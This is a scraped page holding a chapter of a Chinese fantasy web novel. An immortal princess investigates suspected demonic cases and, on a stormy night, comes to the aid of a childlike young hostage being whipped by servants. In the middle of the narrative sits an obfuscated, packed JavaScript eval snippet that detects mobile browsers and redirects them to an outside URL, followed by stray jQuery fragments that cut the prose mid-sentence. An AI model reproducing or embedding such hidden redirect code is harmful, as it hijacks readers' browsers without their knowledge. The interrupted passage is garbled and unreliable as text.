默认冷灰
24号文字
方正启体

8. 姐姐

作者:亥朱本书字数:K更新时间:
    五日前,术白在登极殿旁厅与卫丁的龃龉不知怎么传了出去,明明她用的是卫丁蔑视王权的罪名发怒,传言却传成固伦王女冲冠一怒为蓝颜,为了南国质子和卫丁撕破了脸。


    为此,澧王后和蒙阔还分别来询问过,被术白抽空应对了回去,之后谣言便转到了暗处。


    为什么转到暗处而不是禁绝,就要谢谢卫丁送来的请罪函了。


    如今术白手上的是第三封。


    她都不必打开看,就能猜到内容。里面口口声声说要道歉,字字句句却都在借口道歉请见裴临。


    究竟是想要道歉还是“到手”一目了然。


    若非自五日前一番对峙让他将裴临的身份打成了她的身边人,且通往望乡台的路势必要经过瑶英宫,卫丁怕是便要绕过她直接找上门去了。


    让侍从一如前两封一样打回拒绝,术白注意力重新回到案宗上。


    侍从却没有马上退下,在术白看过来时,犹豫着递过来一朵小野花,来自何人不言自明。


    虽说这几日瑶英宫访客不少,但日日都来的只有裴临。


    都被拒之门外了,他也日日雷打不动在后门等到天黑,实在等不到门卫放行,就送一朵小野花进来。


    术白因谣言再次被澧王警告,卫丁屡禁不止送信背后不妨也有澧王默许的原因,她需要和裴临拉开距离,以避免行事动机过于与以往的王女不同,加上确实忙碌,这几日便没见裴临。


    从侍从的汇报来看,裴临找她也没什么事,毕竟就五岁小孩心智。


    术白对此的感观是,就像凡人小孩每天吵着找娘亲、小狗每天蹲在家门口摇着尾巴等主人,虽然她也不明白怎么就被裴临黏上了。


    不过往日裴临都要等到天黑放弃了才送花进来,今日这才到中午。


    术白接过小野花六号,问侍从:“他人呢?”


    侍从道:“裴公子的侍从来将他叫了回去,说是该用午膳了。”


    看来没什么事。术白依旧将小野花用仙术保存,视线回到案宗上,她刚关注到的案件开头写着:


    ——永丰二十三年午月,岐山矿难案。


    ——因山崩导致矿道崩塌,为天灾……


    ——遇难三百五十七人,死亡三百五十六人,幸存一人。


    术白看了过半数的案宗,发现疑似有魔灵作祟的案子,有个共同组合,天灾加全灭。


    正常的天灾怎会精准害死所有涉事人?让术白怀疑却无人可问询,这个案子很像魔灵案的组成,唯一的不同是有一名幸存者。


    三百五十七名遇难者中唯一的的幸存者,且这个幸存者如今就在王都,还是王亲国戚——崇元王失散十九年的嫡长子,单于真。


    单于真既是矿难案唯一的幸存者,也是唯一的得利者。


    他本是被拐卖到矿山做黑工,若非矿道坍塌,崇元王奉命前往调查,提审幸存者,认出他身上的胎记,或许此生他都无缘认祖归宗了。


    因不是全灭,有魔灵作祟的嫌疑本该降低,术白的直觉却让她加重了怀疑,而且人都在王都,大可见面俩聊聊案件详情。


    这或许就是她在找的突破口。


    她立时便要叫人去请单于真,又想到所剩不多的案宗,改为都看完后看是否能发现其它线索,届时再一起调查。


    思及此,她又沉浸入案宗里。


    又两日,术白白日拒了卫丁的第四封请罪函,晚上在书房点灯夜读,终于在第一声暴雨“哗啦”声中抽离神思,看完了所有案宗。


    疑似有魔灵作祟的案子,她一共记下三十三起,直觉最值得也是目前最好开展调查的,还是岐山矿难案。


    术白当即提笔写了封邀请单于真入宫的请柬,叫来门口候着的侍从,让其明日一早送去崇元王府。


    侍从领命退下后,窗外一声惊雷,终于让术白关注到这场突如其来的降雨。


    几日伏案劳牍,突然歇下来,让她有了登高观雨的兴致。


    建宫时,因瑶英宫后面有一片湖,望乡台原本是要建成一座湖心亭,因王女不喜废弃,营造司退而求其次在瑶英宫后殿旁修建了一个小型观景台。


    冬可围炉赏雪,春可煮茶赏湖。


    可惜王女不擅此道,极少登台。


    雷雨交加里,观景台迎来了今春第一位客人,却是为观雨而来。


    雷声千嶂落,雨色万峰来。


    这场雨澧朝盼了许多,如今仿佛要一次性补偿此前连续一个月的艳阳天,来得急又大,术白却还是觉得这雨下得晚了些。


    若再早下两日,她院中的桃花或许还能再开几日。


    想到花,术白不免想到日日给她送花的裴临,这两日好像都没有动静了。


    虽然觉得只要人在净魔灵气范围内,不会出什么乱子,但看在那六朵小野花的面子上,术白还是打算看看他。


    她凭栏而立,眸中黑瞳亮起一圈莹润玉光,如黑夜星辰,以仙力看透湖心木屋,寻找裴临的身影。


    仙术用在凡人身上会被天雷劈,用在自己身上却是无妨。


    术白的目光寻遍望乡台的四间木屋,看到了烛光下饮酒打牌的白面侍从,看到了泡脚擦刀的黑脸侍从,唯独没看到清瘦的少年郎。


    雨打屋檐,噼啪作响。她想不出如此大雨少年不在屋内的理由,不解的目光往屋外寻去,绕着时有时无的屋檐逡巡两圈,未果,终于远离木屋,往靠湖的区域找寻。


    黑夜是最好的遮掩,在几乎要去翻湖底之时,术白终于在一个暮色里挖出一条隐约的“凹凸不平”。


    在木屋背面,湖边,地上,少年趴在地上,削薄的脊背几乎和大地融成一体,让人一通好找。


    术白上半身不由自主前倾,想看清少年趴在地上在做什么。


    拉近的视野里突然装进一弯皎洁色,少年猛然抬起头,湿透的长发在空中划出一轮镰刀似的残影,砸落在肩背,盖住惊鸿一瞥的雪白后颈。


    原来刚才少年的头埋在了湖里。


    似有所觉,少年猝然回头,雪白的脸,殷红的唇,亮得惊人的桃花眼,一齐撞入术白眼中,惊出一片涟漪。


    她下意识想要后仰退避那抹艳色,又在察觉到自己的想法时生生止住动作,随后狠狠皱眉,拽回偏开的目光,视野里的少年却已经转头。


    想来也是,少年只是个凡人,并不能穿透木屋看到自己。


    术白却被勾起了兴趣,好奇少年要做什么,难道是终于暴露魔族真面目,要趁夜作乱?


    可少年爬起身,瘦弱的身躯在暴雨中摇晃,面容漂亮眼瞳明澈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039507|194679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,周身没有半点魔气,依旧是那个大小孩。


    在被雨冲刷过后,术白才看清,少年身上穿的不是黑袍,而是被泥水脏污染黑的雪色里衣,外袍——


    少年从湖边跑到两间木屋的夹角处,阴暗脏污的墙沿缝隙里开着一串小野花,一件天青外袍在夹角上方撑起一片屏障,让脆弱的小野花得以在狂风暴雨里安然盛开。


    自己都要被雨浇化了,还想着给花打伞呢。


    雨夜里,少年抹了一把脸上淋漓的雨水,又抹了一把,最后再抹了一把,发现根本抹不干,纤长如玉的手挠挠头,靠着屋墙蹲下了,高瘦的身躯卷成骨背嶙峋的荆棘丛,小心翼翼的挨近小花,浓睫扑扇垂落,似要就此安眠。


    术白看着,等着,等少年卸下伪装,暴露破绽,等了很久,只等来了两个手持细长马鞭的白面侍从。


    两人身着蓑衣,踏着水洼来到少年身后,一个照面,未曾言语,先是两道飞抽而去的长鞭,抽得少年抱头伏地,身躯颤抖着承受背后接踵而至的一道道鞭抽。


    看见少年扑倒的瞬间,还下意识地将那串小野花护在身下,术白一时不知是该笑还是该气。


    下凡至今,术白从未真正相信裴临当真痴傻,戒心更是片刻未消。


    演命阵中被暴君裴临亲手砍下头颅的痛,还有乱世尸横遍野的画面时刻提醒着她,裴临会是个冷酷残忍的人;天族万年来教导的魔即是恶理念时刻警醒着她,仙要除恶,便要除魔,仙魔生来对立,不能对魔心怀任何慈悲。


    可眼前这个雨夜里给花遮挡风雨、挨打都不会还手、只有五岁孩童心性的少年,真的会成为幻阵中那个人吗?真的会是魔吗?


    术白第一次在心中产生了质疑。


    她想,她应该去找出答案。


    在找出答案之前,在答案没有明确是“确定”之前,她可以试着抛开善恶好坏的预设,先只把少年当做一个平凡普通的凡人对待。


    术白打着伞步入重重雨幕,走向困在湖心的孤岛,走向被衔在阴晦口中的破木屋,走向破木屋后蜷缩在夹角里挨打的少年。


    长风如啸,雷作鼓,雨作矛,势同战场冲锋的战队,千军万马杀向孤零零的敌人,一个骨肉单薄的少年郎。


    雨浇透了身,冻结了心,裴临感到骨头缝里渗出了密密麻麻的冷,将血凝固,皮肤铸成钢铁,渐渐感知不到鞭子抽开皮肉的痛。


    他第无数次跪在这里,跪在隔绝天地的黑暗沼泽里,被沼泽怪物拉着下沉,被无形的空气压得伏地,就要抓不住地面,直不起脊背,真正栽下去,去粉身碎骨的地底无尽处。


    他也想大喊,如噩梦中朝他嘶吼的一万张嘴,大声喊“救救我!”,可喉咙在无数次得不到回应的呐喊中丢失了振动的能力,他几乎要埋进地里的嘴张了张,好像没能发出声音,连他自己都不清楚自己喊了什么,他唯一清楚的是,不会有回应。


    可他的耳朵好像也坏掉了,竟然听见了一句清淡的——


    “我在。”


    裴临像个卡顿的玩偶,僵硬的脖颈一寸寸向上弯折,直到眼里清晰映照出一道身影。


    ——是姐姐。


    原来他刚才喊的不是救救我,而是——


    “姐姐。”


    而这次,他得到了回应。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)